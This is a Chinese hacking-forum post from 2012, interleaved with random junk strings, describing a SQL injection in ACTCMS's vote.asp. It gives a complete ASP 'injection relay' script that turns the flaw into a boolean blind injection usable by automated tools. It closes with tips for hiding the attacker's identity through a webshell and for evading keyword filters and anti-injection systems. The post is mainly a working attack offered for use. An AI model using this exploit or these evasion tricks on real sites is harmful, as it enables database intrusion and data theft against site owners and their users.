中国网络渗透测试联盟
标题:
注入中转的高级应用,actcms漏洞以及其他
[打印本页]
作者:
admin
时间:
2012-11-6 21:13
标题:
注入中转的高级应用,actcms漏洞以及其他
! q$ G% o. R8 g6 |$ J! c
看到ninty大牛的blog的一篇文章
. p6 m* r& Q5 s. B* S& m
链接标记[url]http://www.forjj.com/?action=show&id=80
[/url]
, B* q# Z- U! o$ y. H
关于actcms漏洞的利用 by 3x qq:381862589
0 h) Z6 i; z" y4 b- G' ~3 d
转载请注明以上
# z4 I# B- M3 n, _
漏洞文件:
, I$ S7 _- T4 }+ T/ O( J: O
/plus/vote/vote.asp
! f- j! c4 Q! U& F# q ~- {% }
代码:
链接标记预览源代码
链接标记打印
链接标记关于
1if request("voted").count=0 then
5 Y* I" Y, ^. T# C, }6 S
. P* @, I% U9 u# l8 }$ H
2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
6 P4 R7 v: b5 [4 ^) ^- a: _' g2 v
7 Y7 R. n0 `8 Z2 j, n
3 response.end
1 c3 L2 r1 p, v, j% F
7 S+ O& ? E+ x! B1 i! |8 }6 Z3 v
4 end if
* X* f+ e7 u+ U
7 n; s: q! H s8 q
5 for i=1 to request("voted").count
7 t& O' i. m' f: J# k
( |; g+ P' s W7 U) m
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
. B1 [5 t( w! [9 F, F$ R2 W; c
2 Y5 M- M- [. I+ |9 @! B1 x1 t
7 next
Y# y V6 ` k
) x5 ?! c0 Z5 G, {" W+ `6 E
8....
) {) g% w# i- h- I
* y# L/ h( j+ z6 |
9response.Redirect "index.asp?id="&id&""
6 C8 r* |& W- ^+ N. ~. Q
投票结束回跳转回index.asp这个投票结果页面
& x% B& p+ ~( [2 u& v% A2 j2 W
如果投票成功票数加1
5 [$ Q$ P# e {9 t: E( v V% s5 `8 W
失败票数不变
' B7 J: q) Y' Y
如图:
9 [3 H% _% a$ F' I2 d3 a( j
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg
链接标记下载
(3.95 KB)
% F+ \/ }; s3 o) |
; C$ H) ]/ e# T; R$ L
2009-12-27 13:20
7 q$ j5 Q) R Q# J+ B; o9 T! W
; V$ d8 Z7 E# l( T& L% @
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
* L2 h; T6 s( P7 ?* Q' g/ A9 C
2 }) d$ s) q$ a8 U
本帖隐藏的内容需要回复才可以浏览
1 T/ ]) K. |& h+ @# x) o- p7 n( u
我们用注入中转来实现这个注入具体代码如下:
; }2 G$ a3 q( e9 P' i
先用寂寞的刺猬大牛的注入中转生成jmget.asp
/ G+ d7 L/ _6 i3 o% q. t8 c% \% _
注入地址:http://localhost/actcms/plus/vote/vote.asp
: | h7 Z6 k- g( G
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
% O" u; z9 B; X& v; P6 C
6 _8 o$ n& n# H, j8 E ^
然后进行修改变成如下代码:
链接标记预览源代码
链接标记打印
链接标记关于
01<%
. b* z9 f4 U) N1 A
7 y& w+ Q/ J' E
02JmdcwName=request("jmdcw")
% e* T( Q# x7 M' K
# B0 G7 }/ \! o" M) A
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
( J1 I. D; ^$ j$ [' w0 }
" g2 J% D3 K# @
04JmStr="id=1&voted=-1 or 1="&JmdcwName
7 b. n( L4 Z' [2 R$ J
% T$ w8 w1 y3 I6 L: o+ j3 c+ y
05JmStr=URLEncoding(JmStr)
5 o2 D5 w* f; {: o* t/ ~ v1 f
2 T2 M9 u* }' A2 L! z- y
06JMUrl="
链接标记http://localhost/actcms/plus/vote/vote.asp
"
, c( Q; _6 F& L
0 E& ?3 v1 Q4 r; @
07testurl="
链接标记http://localhost/actcms/plus/vote/index.asp
"
8 G0 V3 o) \- O5 o: I% P7 W1 n }8 p
3 ~8 X$ \, ^) f8 h' O/ j
08testurl=testurl & "?" & JmStr
# D* @' r" ?' M+ v$ h& M
3 L! I5 J1 s7 U) P. r0 Z1 ^# z
09JMUrl=JMUrl & "?" & JmStr
; F& U. N* t& h/ q; [! y+ x
$ ^& @7 w' s/ \, p
10JmRef="
链接标记http://localhost/actcms/plus/vote/vote.asp
"
" N- `6 Z8 r9 R: u; @1 y
5 k6 z7 n1 D7 ~0 G2 r+ a/ ~
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
# m8 b4 E! _" y1 C' Z* K' n
/ F: Y) ^# ^ U: ~) K
12JmCok=replace(JmCok,chr(32),"%20")
# H$ L1 l7 Q' V2 ~6 ^. B6 k
% @; K! S. y3 R$ e6 Z
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
2 M9 s" a( O3 {8 {" s8 H Z
/ M( S4 M: R" D& w3 h( K
14
; C' g/ x9 H. a& Y* E% s& u
3 f* x1 C" M- ]2 S: W: ~$ o) L
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
9 @- G/ j3 J' N! `' [
2 `6 n7 v- G N( ~+ P
16
7 q! ^1 ~& a3 o! c
$ U9 ]+ o5 n/ K5 ?. W- u
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
! e5 _# j; ~; j
) L* C% [: V& Y: U' c2 k! X' v
18response.write test1&""&test2&""
! o% j- c1 Z! U3 n* {4 f
! H5 D* W% n6 L! p: v. \1 `9 B
19
, e/ s k0 P0 @3 ^; c+ g: Z
; q$ X/ \* Z5 L9 U/ T0 K
20if test1=test2 then '如前后记录相等,表示失败
' Q' ]! c1 p6 c8 E. b
' Z N' O/ c% j' f& B ?
21 response.write "failed"
M# z$ d# p! J
- r( P/ t0 L" t, q
22else
! A; R: ]1 ]" s: u. W
0 d' b$ k8 w1 B& y5 s
23 response.write "succeed"
/ ?/ V$ a/ _, Z" l4 @5 A
3 g8 B; X5 I6 m, O
24end if
" F% I. y* _) r5 C3 M5 d
6 ^& M4 y0 J. T8 {* P3 u
25
& T$ [" k% [% r Q8 q$ J
/ c" e, P% A6 x8 X
26response.write "by 3x"
$ G6 t* g, Q! X' C/ f
8 r7 [3 M* O/ h% z, A" d X
27
0 R$ N7 U3 l( M( k/ O# S
1 p6 d0 h' Q) p- X! m0 u
28
: w% S2 @6 {. g' G
1 D9 V# M4 h+ }( X, e
29Function PostData(PostUrl,PostStr,PostCok,PostRef)
, ?5 M9 g: o4 r+ C* v
0 {% o" M( c$ V2 a0 C# \! [
30Dim Http
$ w* u% J: b" M6 R. h: Q9 k
# p3 H+ T: h4 x6 h
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
7 z% Q$ c$ k/ g& U4 B/ S& H$ D
9 {2 d6 g! M) f0 V9 S) F- P/ m1 ~
32With Http
- X5 w0 {$ O6 F' K; [" j
/ W" n4 D E$ v# I4 i
33
$ q% ?+ [% ~; X: t
; r I; S7 u& Q0 _9 q
34.Open "GET",PostUrl,False
6 p T' X" A. X' R( C
, m6 t) P7 B/ I/ H0 h6 r) |& x
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
! |8 |/ v, ?( e
4 I- I- m7 U3 {) ?
36.SetRequestHeader "Referer",PostRef
/ [2 u. L) |- u# a9 o" a u
4 v, A! F- f) t* I1 o/ N1 @- M
37.SetRequestHeader "Cookie",PostCok
! e/ ]7 v& Z4 Q1 d& w" `7 n
2 z; \7 U9 c9 K/ m
38.Send ()
+ v- w: t: S2 |, A2 Q" y2 Z
; N6 X# Z2 [" Y$ o/ l
39PostData = .ResponseBody
# Q3 v t1 O/ M# |4 C9 \! ~9 k
$ J4 V1 S$ B( q% F
40End With
, p0 D( J2 N9 K; o9 |! J0 r4 r
E% j/ E8 z/ Z9 G" f) k) `
41Set Http = Nothing
% f' s' @9 K5 _ Q4 t) i
% x2 Z* Y1 [! O4 ^! _ a4 E L6 `
42PostData =bytes2BSTR(PostData)
G( F# b1 l% D7 m2 N
0 Q* p1 o& e- K8 T6 o, I1 i
43End Function
; t- X; U9 i6 T8 Z5 [2 ~7 p5 n
+ L7 X5 l$ H$ R+ P/ w0 V! V0 ~
44
& ]+ p5 k0 c: c6 O! s4 u0 X
1 F, d- X+ c' d0 ~
45
8 A( `/ Y8 w- M6 T% ]
; v1 h; U% H. |9 c# h
46Function bytes2BSTR(vIn)
V7 G4 ?. @" L2 k) z; j4 i
* P0 D4 y2 L( `) R8 M
47Dim strReturn
& v$ t2 {3 X/ V/ l$ f
, U+ S9 ], u& e( P5 P' t
48Dim I, ThisCharCode, NextCharCode
5 @( a T" ~% {$ r7 N% D
6 {) a& N; N4 O& H
49strReturn = ""
2 _( v. d* I; v% B9 @ _
+ c7 ~) a5 Y0 F
50For I = 1 To LenB(vIn)
8 q- [7 y# b/ ]) H8 n6 D
" Q m) b4 M4 \9 \% b5 a
51ThisCharCode = AscB(MidB(vIn, I, 1))
. u% a# X. i& K' }) c
; L1 f; n. j! U7 f/ T' R- U
52If ThisCharCode < &H80 Then
9 r. E0 c2 f; i, G; d* _
9 k: j# x7 @& R; W7 ^
53strReturn = strReturn & Chr(ThisCharCode)
8 j2 f" {& B7 h- T( _
2 {( q: t/ h0 m% @2 d4 f3 N% q
54Else
# Q" W8 n, p" J; d* V8 u
1 Z6 C/ q6 U9 m+ H, P
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
& q& |) u/ q9 Z* N9 R
; R8 J& E; `- k
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
3 U6 G# {, J$ a+ P
! e$ `# c4 R) `
57I = I + 1
1 \) u- C, l4 W& p
: `! {% S' i' F8 f# a
58End If
; B0 `( g, I6 R1 W; F# g: [; \& S, N$ Q
. C1 r* W/ o/ Z2 V6 O% u5 x
59Next
) r; y/ w8 d* C3 s. S3 r
$ l! ^0 v3 q: ~/ S
60bytes2BSTR = strReturn
- {/ k. a7 [! N4 ^
% B+ L6 s; ~( s* g5 h$ n5 l2 V& J4 z8 W
61End Function
* y9 M. |6 U/ L8 B# X( l4 U$ b
! o* `" R0 s8 D# @3 [
62
' i$ X9 ]. x5 z+ F5 @2 e- o
" S; u& e# f9 J4 F! m
63Function URLEncoding(vstrin)
( `& A# W+ I' C- Z+ Z- U/ q
0 N. G) l9 C8 r" s H, A
64strReturn=""
% G8 U# ]4 T) i$ U* |6 |
& F' W) k$ e- Y- Z; V* ^
65Dim i
! |7 ?- _; b* b7 _+ C
( x" U. K C/ d2 k
66For i=1 To Len(vstrin)
* [$ ?8 ^) ^7 t' `. X2 I4 x
' P. I. O3 }) b, }6 P6 f/ N
67ThisChr=Mid(vstrin,i,1)
4 L* v; f+ O/ q
1 l; ^) o/ ^, W4 ?- R2 t
68if Abs(Asc(ThisChr))< &HFF Then
/ z0 C4 ~' J" n U$ v; J
) f( t5 j7 K, }0 v2 ]
69strReturn=strReturn & ThisChr
; R: S5 n: u! x( |! B) e; a
; Q% ~; I+ w- n- {( `5 W# ~/ a6 y% ^* x
70Else
, F, \# h1 v- s& ^4 p6 `, I
! _% {. I9 l' Q' |1 x1 r
71InnerCode=Asc(ThisChr)
1 [/ d3 E/ d) e0 ]# n/ j r
4 J, h1 {$ g3 P/ y$ C
72If InnerCode<0 Then
: F2 v3 }. D& B# ~6 `
) B( `9 R2 D* ~- H0 J5 k; c
73InnerCode=InnerCode + &H10000
8 _. D; E6 j% F
# c; G D7 X* i! ?3 ^8 Z
74End If
- y( v0 q6 n9 U- w J
& T6 f) j" L( B2 C0 W
75Hight1=(InnerCode And &HFF00) \&HFF
) x8 ]3 t+ I P/ N
5 H* b6 }& Y& `, e
76Low1=InnerCode And &HFF
S, n3 G2 ?% L
. g8 W# d$ a: i: R- N/ V
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
" S" P* c7 s, b F' g# M
+ T7 _7 K* @6 q4 R
78End if
8 U5 @* ^0 m# P' \' k
6 q8 d( y2 n, J4 H; C5 Q: D
79Next
0 ~6 B5 O6 k% k
1 j! b* v, l/ x1 D
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
( V7 O5 i8 s. E2 Z/ J2 O- A
2 h( p9 i. x0 }5 _- \1 f5 e7 |
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
) n7 A9 M, J" R- J8 o M; R
; g' n! {& y" n3 Q( [( c- S& f& }
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
7 S3 }! W, d) @7 J+ g& S
3 @/ C; w, p& X7 z
83URLEncoding=strReturn
, ]6 S; n+ A4 w6 j/ D t6 s8 ?
3 {+ {( Z( H8 T6 G5 O4 S# F
84End Function
# U4 n4 A- B; A! p' H7 d9 |
q! o" Z- M% D/ Z/ B, U
85
7 i- T" V1 m8 B r ^3 d
~1 o/ Q3 m9 N0 Z* Q! l
86function getSt(body)
1 k) f; @$ ^/ b0 ]8 A: l8 T
, S/ n' H' K/ y7 s! R3 f5 t
87 startpot=instr(body,"投票人数:")+len("投票人数:")
( T# s. c& I4 P3 P( e1 i) H
& K& S/ z; b) h$ G+ Y
88 endpot=instr(startpot,body," ")
' }" {$ m% L9 k% g+ e
' J- K& T+ A$ r# x- ~! k, v
89 getSt=mid(body,startpot,endpot-startpot)
" @% y: S) z9 I8 u
; ?. t/ n$ H9 ^) O
90end function
% R- D3 j2 ?* u2 i$ U! P
, b1 C" e# d: m, m- ]
91%>
! n- Y( o% Z E( [
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
+ d5 o( M" g# c8 m. d# k; s( S
测试下效果:
$ M# W) \+ f2 D3 A( J1 N
投票成功:
! u! q I$ V }1 y- D
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg
链接标记下载
(15.4 KB)
$ n1 w; O, r! U2 L" M
( F4 g# G2 d' {
2009-12-27 13:29
( @8 a/ y2 O" l* P# r( r
投票失败
/ \! _. n5 {5 a& g, N# u$ N
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg
链接标记下载
(13.72 KB)
G* N' }. `2 H$ c8 V( F
4 h5 r: v) e0 I% B% r0 \
2009-12-27 13:29
$ U" \; i8 `( I N
-------------------------------------------------------------------------------
9 I. C3 Z. D! x7 R5 `6 J+ m) t
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
$ m4 x4 v1 A" X6 E; [# D+ _: y" H- P' Q
很抱歉。。。只能用单线程工具去注入。。。。。
3 \! D5 C* P/ V2 D1 M( X. N: ^
所以失败。。。不好意思。。。
- u! q& q1 M T# P7 M9 u& k
-------------------------------------------------------------------------------
, c# G6 y9 u& ]# u5 O' G
# v; E5 \+ X$ T2 N; `
注入中转的一些其他应用
* A4 I- r9 B! g, ?$ B2 r
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1 W4 K8 b7 R( ?+ u2 s. k! |' z
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
5 @& L( Z7 B8 _4 |
2.post注入转成get型的注入,方便我们使用工具来跑
2 A0 @2 S" A3 f' p: P
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
4 _' B9 X9 S' {) x/ T1 K
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
2 f6 p- P8 |- N9 A/ v9 M
0 k4 ^" M4 C% }: w, Y8 S u5 C
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2